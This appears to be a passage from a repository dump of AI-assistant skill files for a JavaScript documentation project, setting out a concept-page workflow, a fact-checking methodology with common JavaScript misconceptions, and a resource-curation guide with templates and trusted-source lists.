Descriptions written (specific, 2 sentences) - [ ] Resources formatted as Cards **Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete --- ## Phase 2: Concept Writing - [ ] Frontmatter complete - [ ] Opening hook written - [ ] Opening code example added - [ ] "What you'll learn" box added - [ ] Main content sections written - [ ] Key Takeaways added - [ ] Test Your Knowledge added - [ ] Related Concepts added - [ ] Resources pasted from Phase 1 - [ ] Added to docs.json (if new) **Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete --- ## Phase 3: Test Writing - [ ] Code examples extracted and categorized - [ ] Test file created - [ ] DOM test file created (if needed) - [ ] All testable examples have tests - [ ] Source line references added - [ ] Tests run and passing **Test Results:** X passing, X failing **Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete --- ## Phase 4: Fact Checking - [ ] All tests passing - [ ] Code examples verified accurate - [ ] MDN links checked (X/X valid) - [ ] External resources checked (X/X valid) - [ ] Technical claims audited - [ ] No misconceptions found - [ ] Issues fixed **Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete --- ## Phase 5: SEO Review - [ ] Title tag optimized (50-60 chars) - [ ] Meta description optimized (150-160 chars) - [ ] Keywords placed correctly - [ ] Content structure verified - [ ] Featured snippet optimized - [ ] Internal links complete **SEO Score:** X/27 (X%) **Status:** ⬜ Not Started | 🟡 In Progress | ✅ Complete --- ## Final Status **All Phases Complete:** ⬜ No | ✅ Yes **Ready to Publish:** ⬜ No | ✅ Yes **Completed:** YYYY-MM-DD ``` --- ## Execution Instructions When executing this workflow, follow these steps: ### Step 1: Initialize ```markdown Starting concept workflow for: [CONCEPT NAME] Category: [fundamentals/functions-execution/web-platform/etc.] File: /docs/concepts/[concept-name].mdx Tests: /tests/[category]/[concept-name]/ ``` ### Step 2: Execute Each Phase For each phase: 1. **Announce the phase:** ```markdown ## Phase X: [Phase Name] Using skill: [skill-name] ``` 2. **Load the skill** to get detailed instructions 3. **Execute the phase** following the skill's methodology 4. **Report completion:** ```markdown Phase X complete: - [Deliverable 1] - [Deliverable 2] - Quality gates: ✅ All passed ``` 5. **Move to next phase** only after quality gates pass ### Step 3: Final Report After all phases complete: ```markdown # Workflow Complete: [Concept Name] ## Summary - **Concept Page:** `/docs/concepts/[concept-name].mdx` - **Test File:** `/tests/[category]/[concept-name]/[concept-name].test.js` - **Word Count:** X,XXX words - **Code Examples:** XX (XX tested) - **Resources:** X MDN, X articles, X videos ## Quality Metrics - **Tests:** XX passing - **Fact Check:** ✅ All verified - **SEO Score:** XX/27 (XX%) ## Files Created/Modified 1. `/docs/concepts/[concept-name].mdx` (created) 2. `/docs/docs.json` (updated navigation) 3. `/tests/[category]/[concept-name]/[concept-name].test.js` (created) ## Ready to Publish: ✅ Yes ``` --- ## Phase Dependencies Some phases can be partially parallelized, but the general flow should be: ``` Phase 1 (Resources) ──┐ ├──► Phase 2 (Writing) ──► Phase 3 (Tests) ──┐ │ │ │ ┌───────────────────────────────────┘ │ ▼ └──► Phase 4 (Fact Check) ──► Phase 5 (SEO) ``` - **Phase 1 before Phase 2:** Resources inform what to write - **Phase 2 before Phase 3:** Need content before writing tests - **Phase 3 before Phase 4:** Tests are part of fact-checking - **Phase 4 before Phase 5:** Fix accuracy issues before SEO polish --- ## Skill Reference | Phase | Skill | Purpose | |-------|-------|---------| | 1 | `resource-curator` | Find and evaluate external resources | | 2 | `write-concept` | Write the documentation page | | 3 | `test-writer` | Generate tests for code examples | | 4 | `fact-check` | Verify technical accuracy | | 5 | `seo-review` | Optimize for search visibility | Each skill has detailed instructions in its own `SKILL.md` file. Load the appropriate skill at each phase for comprehensive guidance. --- ## Time Estimates | Phase | Estimated Time | Notes | |-------|---------------|-------| | Phase 1: Resources | 15-30 min | Depends on availability of quality resources | | Phase 2: Writing | 1-3 hours | Depends on concept complexity | | Phase 3: Tests | 30-60 min | Depends on number of code examples | | Phase 4: Fact Check | 15-30 min | Most automated via tests | | Phase 5: SEO | 15-30 min | Mostly checklist verification | | **Total** | **2-5 hours** | For a complete concept page | --- ## Quick Start To start the workflow for a new concept: ``` 1. Determine the concept name and category 2. Load this skill (concept-workflow) 3. Execute Phase 1: Load resource-curator, find resources 4. Execute Phase 2: Load write-concept, write the page 5. Execute Phase 3: Load test-writer, create tests 6. Execute Phase 4: Load fact-check, verify accuracy 7. Execute Phase 5: Load seo-review, optimize SEO 8. Generate final report 9. Commit changes ``` **Example prompt to start:** > "Create a complete concept page for 'hoisting' using the concept-workflow skill" This will trigger the full end-to-end workflow, creating a complete, tested, verified, and SEO-optimized concept page. ================================================ FILE: .claude/skills/fact-check/SKILL.md ================================================ --- name: fact-check description: Verify technical accuracy of JavaScript concept pages by checking code examples, MDN/ECMAScript compliance, and external resources to prevent misinformation --- # Skill: JavaScript Fact Checker Use this skill to verify the technical accuracy of concept documentation pages for the 33 JavaScript Concepts project. This ensures we're not spreading misinformation about JavaScript. ## When to Use - Before publishing a new concept page - After significant edits to existing content - When reviewing community contributions - When updating pages with new JavaScript features - Periodic accuracy audits of existing content ## What We're Protecting Against - Incorrect JavaScript behavior claims - Outdated information (pre-ES6 patterns presented as current) - Code examples that don't produce stated outputs - Broken or misleading external resource links - Common misconceptions stated as fact - Browser-specific behavior presented as universal - Inaccurate API descriptions --- ## Fact-Checking Methodology Follow these five phases in order for a complete fact check. ### Phase 1: Code Example Verification Every code example in the concept page must be verified for accuracy. #### Step-by-Step Process 1. **Identify all code blocks** in the document 2. **For each code block:** - Read the code and any output comments (e.g., `// "string"`) - Mentally execute the code or test in a JavaScript environment - Verify the output matches what's stated in comments - Check that variable names and logic are correct 3. **For "wrong" examples (marked with ❌):** - Verify they actually produce the wrong/unexpected behavior - Confirm the explanation of why it's wrong is accurate 4. **For "correct" examples (marked with ✓):** - Verify they work as stated - Confirm they follow current best practices 5. **Run project tests:** ```bash # Run all tests npm test # Run tests for a specific concept npm test -- tests/fundamentals/call-stack/ npm test -- tests/fundamentals/primitive-types/ ``` 6. **Check test coverage:** - Look in `/tests/{category}/{concept-name}/` - Verify tests exist for major code examples - Flag examples without test coverage #### Code Verification Checklist | Check | How to Verify | |-------|---------------| | `console.log` outputs match comments | Run code or trace mentally | | Variables are correctly named/used | Read through logic | | Functions return expected values | Trace execution | | Async code resolves in stated order | Understand event loop | | Error examples actually throw | Test in try/catch | | Array/object methods return correct types | Check MDN | | `typeof` results are accurate | Test common cases | | Strict mode behavior noted if relevant | Check if example depends on it | #### Common Output Mistakes to Catch ```javascript // Watch for these common mistakes: // 1. typeof null typeof null // "object" (not "null"!) // 2. Array methods that return new arrays vs mutate const arr = [1, 2, 3] arr.push(4) // Returns 4 (length), not the array! arr.map(x => x*2) // Returns NEW array, doesn't mutate // 3. Promise resolution order Promise.resolve().then(() => console.log('micro')) setTimeout(() => console.log('macro'), 0) console.log('sync') // Output: sync, micro, macro (NOT sync, macro, micro) // 4. Comparison results [] == false // true [] === false // false ![] // false (empty array is truthy!) // 5. this binding const obj = { name: 'Alice', greet: () => console.log(this.name) // undefined! Arrow has no this } ``` --- ### Phase 2: MDN Documentation Verification All claims about JavaScript APIs, methods, and behavior should align with MDN documentation. #### Step-by-Step Process 1. **Check all MDN links:** - Click each MDN link in the document - Verify the link returns 200 (not 404) - Confirm the linked page matches what's being referenced 2. **Verify API descriptions:** - Compare method signatures with MDN - Check parameter names and types - Verify return types - Confirm edge case behavior 3. **Check for deprecated APIs:** - Look for deprecation warnings on MDN - Flag any deprecated methods being taught as current 4. **Verify browser compatibility claims:** - Cross-reference with MDN compatibility tables - Check Can I Use for broader support data #### MDN Link Patterns | Content Type | MDN URL Pattern | |--------------|-----------------| | Web APIs | `https://developer.mozilla.org/en-US/docs/Web/API/{APIName}` | | Global Objects | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/{Object}` | | Statements | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/{Statement}` | | Operators | `https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/{Operator}` | | HTTP | `https://developer.mozilla.org/en-US/docs/Web/HTTP` | #### What to Verify Against MDN | Claim Type | What to Check | |------------|---------------| | Method signature | Parameters, optional params, return type | | Return value | Exact type and possible values | | Side effects | Does it mutate? What does it affect? | | Exceptions | What errors can it throw? | | Browser support | Compatibility tables | | Deprecation status | Any deprecation warnings? | --- ### Phase 3: ECMAScript Specification Compliance For nuanced JavaScript behavior, verify against the ECMAScript specification. #### When to Check the Spec - Edge cases and unusual behavior - Claims about "how JavaScript works internally" - Type coercion rules - Operator precedence - Execution order guarantees - Claims using words like "always", "never", "guaranteed" #### How to Navigate the Spec The ECMAScript specification is at: https://tc39.es/ecma262/ | Concept | Spec Section | |---------|--------------| | Type coercion | Abstract Operations (7.1) | | Equality | Abstract Equality Comparison (7.2.14), Strict Equality (7.2.15) | | typeof | The typeof Operator (13.5.3) | | Objects | Ordinary and Exotic Objects' Behaviours (10) | | Functions | ECMAScript Function Objects (10.2) | | this binding | ResolveThisBinding (9.4.4) | | Promises | Promise Objects (27.2) | | Iteration | Iteration (27.1) | #### Spec Verification Examples ```javascript // Claim: "typeof null returns 'object' due to a bug" // Spec says: typeof null → "object" (Table 41) // Historical context: This is a known quirk from JS 1.0 // Verdict: ✓ Correct, though calling it a "bug" is slightly informal // Claim: "Promises always resolve asynchronously" // Spec says: Promise reaction jobs are enqueued (27.2.1.3.2) // Verdict: ✓ Correct - even resolved promises schedule microtasks // Claim: "=== is faster than ==" // Spec says: Nothing about performance // Verdict: ⚠️ Needs nuance - this is implementation-dependent ``` --- ### Phase 4: External Resource Verification All external links (articles, videos, courses) must be verified. #### Step-by-Step Process 1. **Check link accessibility:** - Click each external link - Verify it loads (not 404, not paywalled) - Note any redirects to different URLs 2. **Verify content accuracy:** - Skim the resource for obvious errors - Check it's JavaScript-focused (not C#, Python, Java) - Verify it's not teaching anti-patterns 3. **Check publication date:** - For time-sensitive topics (async, modules, etc.), prefer recent content - Flag resources from before 2015 for ES6+ topics 4. **Verify description accuracy:** - Does our description match what the resource actually covers? - Is the description specific (not generic)? #### External Resource Checklist | Check | Pass Criteria | |-------|---------------| | Link works | Returns 200, content loads | | Not paywalled | Free to access (or clearly marked) | | JavaScript-focused | Not primarily about other languages | | Not outdated | Post-2015 for modern JS topics | | Accurate description | Our description matches actual content | | No anti-patterns | Doesn't teach bad practices | | Reputable source | From known/trusted creators | #### Red Flags in External Resources - Uses `var` everywhere for ES6+ topics - Uses callbacks for content about Promises/async - Teaches jQuery as modern DOM manipulation - Contains factual errors about JavaScript - Video is >2 hours without timestamp links - Content is primarily about another language - Uses deprecated APIs without noting deprecation --- ### Phase 5: Technical Claims Audit Review all prose claims about JavaScript behavior. #### Claims That Need Verification | Claim Type | How to Verify | |------------|---------------| | Performance claims | Need benchmarks or caveats | | Browser behavior | Specify which browsers, check MDN | | Historical claims | Verify dates/versions | | "Always" or "never" statements | Check for exceptions | | Comparisons (X vs Y) | Verify both sides accurately | #### Red Flags in Technical Claims - "Always" or "never" without exceptions noted - Performance claims without benchmarks - Browser behavior claims without specifying browsers - Comparisons that oversimplify differences - Historical claims without dates - Claims about "how JavaScript works" without spec reference #### Examples of Claims to Verify ```markdown ❌ "async/await is always better than Promises" → Verify: Not always - Promise.all() is better for parallel operations ❌ "JavaScript is an interpreted language" → Verify: Modern JS engines use JIT compilation ❌ "Objects are passed by reference" → Verify: Technically "passed by sharing" - the reference is passed by value ❌ "=== is faster than ==" → Verify: Implementation-dependent, not guaranteed by spec ✓ "JavaScript is single-threaded" → Verify: Correct for the main thread (Web Workers are separate) ✓ "Promises always resolve asynchronously" → Verify: Correct per ECMAScript spec ``` --- ## Common JavaScript Misconceptions Watch for these misconceptions being stated as fact. ### Type System Misconceptions | Misconception | Reality | How to Verify | |---------------|---------|---------------| | `typeof null === "object"` is intentional | It's a bug from JS 1.0 that can't be fixed for compatibility | Historical context, TC39 discussions | | JavaScript has no types | JS is dynamically typed, not untyped | ECMAScript spec defines types | | `==` is always wrong | `== null` checks both null and undefined, has valid uses | Many style guides allow this pattern | | `NaN === NaN` is false "by mistake" | It's intentional per IEEE 754 floating point spec | IEEE 754 standard | ### Function Misconceptions | Misconception | Reality | How to Verify | |---------------|---------|---------------| | Arrow functions are just shorter syntax | They have no `this`, `arguments`, `super`, or `new.target` | MDN, ECMAScript spec | | `var` is hoisted to function scope with its value | Only declaration is hoisted, not initialization | Code test, MDN | | Closures are a special opt-in feature | All functions in JS are closures | ECMAScript spec | | IIFEs are obsolete | Still useful for one-time initialization | Modern codebases still use them | ### Async Misconceptions | Misconception | Reality | How to Verify | |---------------|---------|---------------| | Promises run in parallel | JS is single-threaded; Promises are async, not parallel | Event loop explanation | | `async/await` is different from Promises | It's syntactic sugar over Promises | MDN, can await any thenable | | `setTimeout(fn, 0)` runs immediately | Runs after current execution + microtasks | Event loop, code test | | `await` pauses the entire program | Only pauses the async function, not the event loop | Code test | ### Object Misconceptions | Misconception | Reality | How to Verify | |---------------|---------|---------------| | Objects are "passed by reference" | References are passed by value ("pass by sharing") | Reassignment test | | `const` makes objects immutable | `const` prevents reassignment, not mutation | Code test | | Everything in JavaScript is an object | Primitives are not objects (though they have wrappers) | `typeof` tests, MDN | | `Object.freeze()` creates deep immutability | It's shallow - nested objects can still be mutated | Code test | ### Performance Misconceptions | Misconception | Reality | How to Verify | |---------------|---------|---------------| | `===` is always faster than `==` | Implementation-dependent, not spec-guaranteed | Benchmarks vary | | `for` loops are faster than `forEach` | Modern engines optimize both; depends on use case | Benchmark | | Arrow functions are faster | No performance difference, just different behavior | Benchmark | | Avoiding DOM manipulation is always faster | Sometimes batch mutations are slower than individual | Depends on browser, use case | --- ## Test Integration Running the project's test suite is a key part of fact-checking. ### Test Commands ```bash # Run all tests npm test # Run tests in watch mode npm run test:watch # Run tests with coverage npm run test:coverage # Run tests for specific concept npm test -- tests/fundamentals/call-stack/ npm test -- tests/fundamentals/primitive-types/ npm test -- tests/fundamentals/value-reference-types/ npm test -- tests/fundamentals/type-coercion/ npm test -- tests/fundamentals/equality-operators/ npm test -- tests/fundamentals/scope-and-closures/ ``` ### Test Directory Structure ``` tests/ ├── fundamentals/ # Concepts 1-6 │ ├── call-stack/ │ ├── primitive-types/ │ ├── value-reference-types/ │ ├── type-coercion/ │ ├── equality-operators/ │ └── scope-and-closures/ ├── functions-execution/ # Concepts 7-8 │ ├── event-loop/ │ └── iife-modules/ └── web-platform/ # Concepts 9-10 ├── dom/ └── http-fetch/ ``` ### When Tests Are Missing If a concept doesn't have tests: 1. Flag this in the report as "needs test coverage" 2. Manually verify code examples are correct 3. Consider adding tests as a follow-up task --- ## Verification Resources ### Primary Sources | Resource | URL | Use For | |----------|-----|---------| | MDN Web Docs | https://developer.mozilla.org | API docs, guides, compatibility | | ECMAScript Spec | https://tc39.es/ecma262 | Authoritative behavior | | TC39 Proposals | https://github.com/tc39/proposals | New features, stages | | Can I Use | https://caniuse.com | Browser compatibility | | Node.js Docs | https://nodejs.org/docs | Node-specific APIs | | V8 Blog | https://v8.dev/blog | Engine internals | ### Project Resources | Resource | Path | Use For | |----------|------|---------| | Test Suite | `/tests/` | Verify code examples | | Concept Pages | `/docs/concepts/` | Current content | | Run Tests | `npm test` | Execute all tests | --- ## Fact Check Report Template Use this template to document your findings. ```markdown # Fact Check Report: [Concept Name] **File:** `/docs/concepts/[slug].mdx` **Date:** YYYY-MM-DD **Reviewer:** [Name/Claude] **Overall Status:** ✅ Verified | ⚠️ Minor Issues | ❌ Major Issues --- ## Executive Summary [2-3 sentence summary of findings. State whether the page is accurate overall and highlight any critical issues.] **Tests Run:** Yes/No **Test Results:** X passing, Y failing **External Links Checked:** X/Y valid --- ## Phase 1: Code Example Verification | # | Description | Line | Status | Notes | |---|-------------|------|--------|-------| | 1 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] | | 2 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] | | 3 | [Brief description] | XX | ✅/⚠️/❌ | [Notes] | ### Code Issues Found #### Issue 1: [Title] **Location:** Line XX **Severity:** Critical/Major/Minor **Current Code:** ```javascript // The problematic code ``` **Problem:** [Explanation of what's wrong] **Correct Code:** ```javascript // The corrected code ``` --- ## Phase 2: MDN/Specification Verification | Claim | Location | Source | Status | Notes | |-------|----------|--------|--------|-------| | [Claim made] | Line XX | MDN/Spec | ✅/⚠️/❌ | [Notes] | ### MDN Link Status | Link Text | URL | Status | |-----------|-----|--------| | [Text] | [URL] | ✅ 200 / ❌ 404 | ### Specification Discrepancies [If any claims don't match the ECMAScript spec, detail them here] --- ## Phase 3: External Resource Verification | Resource | Type | Link | Content | Notes | |----------|------|------|---------|-------| | [Title] | Article/Video | ✅/❌ | ✅/⚠️/❌ | [Notes] | ### Broken Links 1. **Line XX:** [URL] - 404 Not Found 2. **Line YY:** [URL] - Domain expired ### Content Concerns 1. **[Resource name]:** [Concern - e.g., outdated, wrong language, anti-patterns] ### Description Accuracy | Resource | Description Accurate? | Notes | |----------|----------------------|-------| | [Title] | ✅/❌ | [Notes] | --- ## Phase 4: Technical Claims Audit | Claim | Location | Verdict | Notes | |-------|----------|---------|-------| | "[Claim]" | Line XX | ✅/⚠️/❌ | [Notes] | ### Claims Needing Revision 1. **Line XX:** "[Current claim]" - **Issue:** [What's wrong] - **Suggested:** "[Revised claim]" --- ## Phase 5: Test Results **Test File:** `/tests/[category]/[concept]/[concept].test.js` **Tests Run:** XX **Passing:** XX **Failing:** XX ### Failing Tests | Test Name | Expected | Actual | Related Doc Line | |-----------|----------|--------|------------------| | [Test] | [Expected] | [Actual] | Line XX | ### Coverage Gaps Examples in documentation without corresponding tests: - [ ] Line XX: [Description of untested example] - [ ] Line YY: [Description of untested example] --- ## Issues Summary ### Critical (Must Fix Before Publishing) 1. **[Issue title]** - Location: Line XX - Problem: [Description] - Fix: [How to fix] ### Major (Should Fix) 1. **[Issue title]** - Location: Line XX - Problem: [Description] - Fix: [How to fix] ### Minor (Nice to Have) 1. **[Issue title]** - Location: Line XX - Suggestion: [Improvement] --- ## Recommendations 1. **[Priority 1]:** [Specific actionable recommendation] 2. **[Priority 2]:** [Specific actionable recommendation] 3. **[Priority 3]:** [Specific actionable recommendation] --- ## Verification Checklist - [ ] All code examples verified for correct output - [ ] All MDN links checked and valid - [ ] API descriptions match MDN documentation - [ ] ECMAScript compliance verified (if applicable) - [ ] All external resource links accessible - [ ] Resource descriptions accurately represent content - [ ] No common JavaScript misconceptions found - [ ] Technical claims are accurate and nuanced - [ ] Project tests run and reviewed - [ ] Report complete and ready for handoff --- ## Sign-off **Verified by:** [Name/Claude] **Date:** YYYY-MM-DD **Recommendation:** ✅ Ready to publish | ⚠️ Fix issues first | ❌ Major revision needed ``` --- ## Quick Reference: Verification Commands ```bash # Run all tests npm test # Run specific concept tests npm test -- tests/fundamentals/call-stack/ # Check for broken links (if you have a link checker) # Install: npm install -g broken-link-checker # Run: blc https://developer.mozilla.org/... -ro # Quick JavaScript REPL for testing node > typeof null 'object' > [1,2,3].map(x => x * 2) [ 2, 4, 6 ] ``` --- ## Summary When fact-checking a concept page: 1. **Run tests first** — `npm test` catches code errors automatically 2. **Verify every code example** — Output comments must match reality 3. **Check all MDN links** — Broken links and incorrect descriptions hurt credibility 4. **Verify external resources** — Must be accessible, accurate, and JavaScript-focused 5. **Audit technical claims** — Watch for misconceptions and unsupported statements 6. **Document everything** — Use the report template for consistent, thorough reviews **Remember:** Our readers trust us to teach them correct JavaScript. A single piece of misinformation can create confusion that takes years to unlearn. Take fact-checking seriously. ================================================ FILE: .claude/skills/resource-curator/SKILL.md ================================================ --- name: resource-curator description: Find, evaluate, and maintain high-quality external resources for JavaScript concept documentation, including auditing for broken and outdated links --- # Skill: Resource Curator for Concept Pages Use this skill to find, evaluate, add, and maintain high-quality external resources (articles, videos, courses) for concept documentation pages. This includes auditing existing resources for broken links and outdated content. ## When to Use - Adding resources to a new concept page - Refreshing resources on existing pages - Auditing for broken or outdated links - Reviewing community-contributed resources - Periodic link maintenance ## Resource Curation Methodology Follow these five phases for comprehensive resource curation. ### Phase 1: Audit Existing Resources Before adding new resources, audit what's already there: 1. **Check link accessibility** — Does each link return 200? 2. **Verify content accuracy** — Is the content still correct? 3. **Check publication dates** — Is it too old for the topic? 4. **Identify outdated content** — Does it use old syntax/patterns? 5. **Review descriptions** — Are they specific or generic? ### Phase 2: Identify Resource Gaps Compare current resources against targets: | Section | Target Count | Icon | |---------|--------------|------| | Reference | 2-4 MDN links | `book` | | Articles | 4-6 articles | `newspaper` | | Videos | 3-4 videos | `video` | | Courses | 1-3 (optional) | `graduation-cap` | | Books | 1-2 (optional) | `book` | Ask: - Are there enough resources for beginners AND advanced learners? - Is there visual content (diagrams, animations)? - Are official references (MDN) included? - Is there diversity in teaching styles? ### Phase 3: Find New Resources Search trusted sources using targeted queries: **For Articles:** ``` [concept] javascript tutorial site:javascript.info [concept] javascript explained site:freecodecamp.org [concept] javascript site:dev.to [concept] javascript deep dive site:2ality.com [concept] javascript guide site:css-tricks.com ``` **For Videos:** ``` YouTube: [concept] javascript explained YouTube: [concept] javascript tutorial YouTube: jsconf [concept] YouTube: [concept] javascript fireship YouTube: [concept] javascript web dev simplified ``` **For MDN:** ``` [concept] site:developer.mozilla.org [API name] MDN ``` ### Phase 4: Write Descriptions Every resource needs a specific, valuable description: **Formula:** ``` Sentence 1: What makes this resource unique OR what it specifically covers Sentence 2: Why reader should click (what they'll gain, who it's best for) ``` ### Phase 5: Format and Organize - Use correct Card syntax with proper icons - Order resources logically (foundational first, advanced later) - Ensure consistent formatting --- ## Trusted Sources ### Reference Sources (Priority Order) | Priority | Source | URL | Best For | |----------|--------|-----|----------| | 1 | MDN Web Docs | developer.mozilla.org | API docs, guides, compatibility | | 2 | ECMAScript Spec | tc39.es/ecma262 | Authoritative behavior | | 3 | Node.js Docs | nodejs.org/docs | Node-specific APIs | | 4 | Web.dev | web.dev | Performance, best practices | | 5 | Can I Use | caniuse.com | Browser compatibility | ### Article Sources (Priority Order) | Priority | Source | Why Trusted | |----------|--------|-------------| | 1 | javascript.info | Comprehensive, exercises, well-maintained | | 2 | MDN Guides | Official, accurate, regularly updated | | 3 | freeCodeCamp | Beginner-friendly, practical | | 4 | 2ality (Dr. Axel) | Deep technical dives, spec-focused | | 5 | CSS-Tricks | DOM, visual topics, well-written | | 6 | dev.to (Lydia Hallie) | Visual explanations, animations | | 7 | LogRocket Blog | Practical tutorials, real-world | | 8 | Smashing Magazine | In-depth, well-researched | | 9 | Digital Ocean | Clear tutorials, examples | | 10 | Kent C. Dodds | Testing, React, best practices | ### Video Creators (Priority Order) | Priority | Creator | Style | Best For | |----------|---------|-------|----------| | 1 | Fireship | Fast, modern, entertaining | Quick overviews, modern JS | | 2 | Web Dev Simplified | Clear, beginner-friendly | Beginners, fundamentals | | 3 | Fun Fun Function | Deep-dives, personality | Understanding "why" | | 4 | Traversy Media | Comprehensive crash courses | Full topic coverage | | 5 | JSConf/dotJS | Expert conference talks | Advanced, in-depth | | 6 | Academind | Thorough explanations | Complete understanding | | 7 | The Coding Train | Creative, visual | Visual learners | | 8 | Wes Bos | Practical, real-world | Applied learning | | 9 | The Net Ninja | Step-by-step tutorials | Following along | | 10 | Programming with Mosh | Professional, clear | Career-focused | ### Course Sources | Source | Type | Notes | |--------|------|-------| | javascript.info | Free | Comprehensive, exercises | | Piccalilli | Free | Well-written, modern | | freeCodeCamp | Free | Project-based | | Frontend Masters | Paid | Expert instructors | | Egghead.io | Paid | Short, focused lessons | | Udemy (top-rated) | Paid | Check reviews carefully | | Codecademy | Freemium | Interactive | --- ## Quality Criteria ### Must Have (Required) - [ ] **Link works** — Returns 200 (not 404, 301, 5xx) - [ ] **JavaScript-focused** — Not primarily about C#, Python, Java, etc. - [ ] **Technically accurate** — No factual errors or anti-patterns - [ ] **Accessible** — Free or has meaningful free preview ### Should Have (Preferred) - [ ] **Recent enough** — See publication date guidelines below - [ ] **Reputable source** — From trusted sources list or well-known creator - [ ] **Unique perspective** — Not duplicate of existing resources - [ ] **Appropriate depth** — Matches concept complexity - [ ] **Good engagement** — Positive comments, high views (for videos) ### Red Flags (Reject) | Red Flag | Why It Matters | |----------|----------------| | Uses `var` everywhere | Outdated for ES6+ topics | | Teaches anti-patterns | Harmful to learners | | Primarily other languages | Wrong focus | | Hard paywall (no preview) | Inaccessible | | Pre-2015 for modern topics | Likely outdated | | Low quality comments | Often indicates issues | | Factual errors | Spreads misinformation | | Clickbait title, thin content | Wastes reader time | --- ## Publication Date Guidelines | Topic Category | Minimum Year | Reasoning | |----------------|--------------|-----------| | **ES6+ Features** | 2015+ | ES6 released June 2015 | | **Promises** | 2015+ | Native Promises in ES6 | | **async/await** | 2017+ | ES2017 feature | | **ES Modules** | 2018+ | Stable browser support | | **Optional chaining (?.)** | 2020+ | ES2020 feature | | **Nullish coalescing (??)** | 2020+ | ES2020 feature | | **Top-level await** | 2022+ | ES2022 feature | | **Fundamentals** (closures, scope, this) | Any | Core concepts don't change | | **DOM manipulation** | 2018+ | Modern APIs preferred | | **Fetch API** | 2017+ | Widespread support | **Rule of thumb:** For time-sensitive topics, prefer content from the last 3-5 years. For fundamentals, older classic content is often excellent. --- ## Description Writing Guide ### The Formula ``` Sentence 1: What makes this resource unique OR what it specifically covers Sentence 2: Why reader should click (what they'll gain, who it's best for) ``` ### Good Examples ```markdown Animated GIFs showing the call stack, microtask queue, and event loop in action. The visuals make Promise execution order finally click for visual learners. The legendary JSConf talk that made the event loop click for millions of developers. Philip Roberts' live visualizations are the gold standard — a must-watch. Kyle Simpson's deep dive into JavaScript's scope mechanics and closure behavior. Goes beyond the basics into edge cases and mental models for truly understanding scope. Quick, clear explanation covering Promise creation, chaining, and error handling. Perfect starting point if you're new to async JavaScript. The pizza-and-drinks ordering analogy makes parallel vs sequential execution crystal clear. Essential reading once you know async/await basics but want to write faster code. ``` ### Bad Examples (Avoid) ```markdown A comprehensive guide to Promises in JavaScript. This video explains closures in JavaScript. Everything you need to know about JavaScript. A video about understanding the event loop. ``` ### Words and Phrases to Avoid | Avoid | Why | Use Instead | |-------|-----|-------------| | "comprehensive guide to..." | Vague, overused | Specify what's covered | | "learn all about..." | Generic | What specifically will they learn? | | "everything you need to know..." | Hyperbolic | Be specific | | "great tutorial on..." | Subjective filler | Why is it great? | | "explains X" | Too basic | How does it explain? What's unique? | | "in-depth look at..." | Vague | What depth? What aspect? | ### Words and Phrases That Work | Good Phrase | Example | |-------------|---------| | "step-by-step walkthrough" | "Step-by-step walkthrough of building a Promise from scratch" | | "visual explanation" | "Visual explanation with animated diagrams" | | "deep dive into" | "Deep dive into V8's optimization strategies" | | "practical examples of" | "Practical examples of closures in React hooks" | | "the go-to reference for" | "The go-to reference for array method signatures" | | "finally makes X click" | "Finally makes prototype chains click" | | "perfect for beginners" | "Perfect for beginners new to async code" | | "covers X, Y, and Z" | "Covers creation, chaining, and error handling" | --- ## Link Audit Process ### Step 1: Check Each Link For each resource in the concept page: 1. **Click the link** — Does it load? 2. **Note the HTTP status:** | Status | Meaning | Action | |--------|---------|--------| | 200 | OK | Keep, continue to content check | | 301/302 | Redirect | Update to final URL | | 404 | Not Found | Remove or find replacement | | 403 | Forbidden | Check manually, may be geo-blocked | | 5xx | Server Error | Retry later, may be temporary | ### Step 2: Content Verification For each accessible link: 1. **Skim the content** — Is it still accurate? 2. **Check the date** — When was it published/updated? 3. **Verify JavaScript focus** — Is it primarily about JS? 4. **Look for red flags** — Anti-patterns, errors, outdated syntax ### Step 3: Description Review For each resource: 1. **Read current description** — Is it specific? 2. **Compare to actual content** — Does it match? 3. **Check for generic phrases** — "comprehensive guide", etc. 4. **Identify improvements** — How can it be more specific? ### Step 4: Gap Analysis After auditing all resources: 1. **Count by section** — Do we meet targets? 2. **Check diversity** — Beginner AND advanced? Visual AND text? 3. **Identify missing types** — No MDN? No videos? 4. **Note recommendations** — What should we add? --- ## Resource Section Templates ### Reference Section ```markdown ## Reference Official MDN documentation covering [specific aspects]. The authoritative reference for [what it's best for]. [What this reference covers]. Essential reading for understanding [specific aspect]. ``` ### Articles Section ```markdown ## Articles [What makes it unique/what it covers]. [Why read this one/who it's for]. [Specific coverage]. [Value proposition]. [Unique angle]. [Why it's worth reading]. [What it covers]. [Best for whom]. ``` ### Videos Section ```markdown ## Videos [What it covers/unique approach]. [Why watch/who it's for]. [Specific focus]. [What makes it stand out]. [Coverage]. [Value]. ``` ### Books Section (Optional) ```markdown [What the book covers and its approach]. [Who should read it and what they'll gain]. ``` ### Courses Section (Optional) ```markdown [What the course covers]. [Format and who it's best for]. ``` --- ## Resource Audit Report Template Use this template to document audit findings. ```markdown # Resource Audit Report: [Concept Name] **File:** `/docs/concepts/[slug].mdx` **Date:** YYYY-MM-DD **Auditor:** [Name/Claude] --- ## Summary | Metric | Count | |--------|-------| | Total Resources | XX | | Working Links (200) | XX | | Broken Links (404) | XX | | Redirects (301/302) | XX | | Outdated Content | XX | | Generic Descriptions | XX | ## Resource Count vs Targets | Section | Current | Target | Status | |---------|---------|--------|--------| | Reference (MDN) | X | 2-4 | ✅/⚠️/❌ | | Articles | X | 4-6 | ✅/⚠️/❌ | | Videos | X | 3-4 | ✅/⚠️/❌ | | Courses | X | 0-3 | ✅/⚠️/❌ | --- ## Broken Links (Remove or Replace) | Resource | Line | URL | Status | Action | |----------|------|-----|--------|--------| | [Title] | XX | [URL] | 404 | Remove | | [Title] | XX | [URL] | 404 | Replace with [alternative] | --- ## Redirects (Update URLs) | Resource | Line | Old URL | New URL | |----------|------|---------|---------| | [Title] | XX | [old] | [new] | --- ## Outdated Resources (Consider Replacing) | Resource | Line | Issue | Recommendation | |----------|------|-------|----------------| | 